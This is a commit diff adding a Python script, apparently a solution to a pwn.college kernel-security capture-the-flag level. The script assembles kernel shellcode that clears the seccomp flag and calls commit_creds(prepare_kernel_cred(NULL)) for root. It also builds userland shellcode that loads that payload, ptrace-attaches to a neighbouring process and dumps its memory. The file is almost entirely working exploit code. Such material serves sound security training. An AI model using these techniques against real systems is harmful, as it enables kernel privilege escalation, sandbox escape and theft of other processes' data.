Added Level 11.0 ~ 11.1 of KernelSecurity in PwnCollege

PwnCollege/KernelSecurity/Level11.0/shellcode.py

@@ -0,0 +1,48 @@
+import sys
+sys.path.append("..")
+
+from pwn import context, shellcraft
+from common import *
+context(arch = 'amd64', os = 'linux')
+
+kernel_assembly = f"""
+/* current->thread_info.flags &= ~(1 << TIF_SECCOMP); */
+mov     rdx, gs:0x15d00             /* runtime-relocated offsets */
+mov     rax, [rdx]
+and     ah, 0xfe
+mov     [rdx], rax
+/* commit_creds(prepare_kernel_cred(NULL)); */
+xor     rdi, rdi
+movabs  rsi, 0xffffffff81089660
+call    rsi                         /* prepare_kernel_cred */
+mov     rdi, rax
+movabs  rsi, 0xffffffff81089310
+call    rsi                         /* commit_creds */
+ret
+""".strip()
+
+kernel_machine_code = dump_machine_code(kernel_assembly)
+
+user_assembly = f"""
+{shellcraft.amd64.pushstr(kernel_machine_code, append_null=False)}
+{shellcraft.amd64.linux.write(3, "rsp", len(kernel_machine_code))}
+/* Get current PID `cpid` */
+{shellcraft.amd64.linux.getpid()}
+/* Assume sub-process has PID `cpid + 1` */
+lea     rbx, [rax + 1]
+/* ptrace attach to sub-process */
+{shellcraft.amd64.linux.syscall("SYS_ptrace", 'PTRACE_ATTACH', "rbx", 0, 0)}
+/* wait sub-process to stop */
+{shellcraft.amd64.linux.syscall("SYS_wait4", -1, 0, 0, 0)}
+"""
+
+for addr in range(0x404040, 0x4040a0, 0x8):
+    # Peek sub-process's data and output
+    user_assembly += shellcraft.amd64.linux.syscall("SYS_ptrace", 'PTRACE_PEEKDATA', "rbx", addr, 'rsp')
+    user_assembly += shellcraft.amd64.linux.write(1, 'rsp', 8)
+
+user_machine_code = dump_machine_code(user_assembly)
+
+with open('shellcode.bin', 'wb') as f:
+    f.write(user_machine_code)
+    f.write(b'\xcc' * (0x1000 - len(user_machine_code)))